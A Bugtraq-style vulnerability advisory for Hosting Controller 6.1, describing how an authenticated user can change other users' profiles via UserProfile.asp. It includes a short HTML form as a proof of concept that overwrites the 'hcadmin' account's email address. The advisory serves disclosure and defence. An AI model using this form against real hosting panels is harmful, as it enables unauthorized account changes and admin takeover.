Hosting Controller User Profile Unauthorized Access Vulnerability

BID:13816

Info

Hosting Controller User Profile Unauthorized Access Vulnerability

Bugtraq ID: 13816
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: May 30 2005 12:00AM
Updated: May 30 2005 12:00AM
Credit: Soroush Dalili from GrayHatz Security Group is credited with the discovery of this vulnerability.
Vulnerable: Hosting Controller Hosting Controller 6.1 Hotfix 2.0
Hosting Controller Hosting Controller 6.1 Hotfix 1.9
Hosting Controller Hosting Controller 6.1 Hotfix 1.7
Hosting Controller Hosting Controller 6.1 Hotfix 1.4
Hosting Controller Hosting Controller 6.1
Not Vulnerable:

Discussion

Hosting Controller User Profile Unauthorized Access Vulnerability

Hosting Controller is prone to an unauthorized access vulnerability.

Reportedly an authenticated user can modify other user's profiles. This issue is due to a failure in the application to perform proper authentication before providing access to 'UserProfile.asp'.

Exploit / POC

Hosting Controller User Profile Unauthorized Access Vulnerability

No exploit is required.

The following proof of concept is available:
--------------------------------
Change users profiles:
<form
action="http://www.example.com/admin//accounts/UserProfile.asp?action=updateprofile"
method="post">
Username : <input name="UserList" value="hcadmin"
type="text" size="50">
<br>
emailaddress : <input name="emailaddress"
value="[email protected]" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat"
type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>
-----------------------------------

Solution / Fix

Hosting Controller User Profile Unauthorized Access Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Hosting Controller User Profile Unauthorized Access Vulnerability

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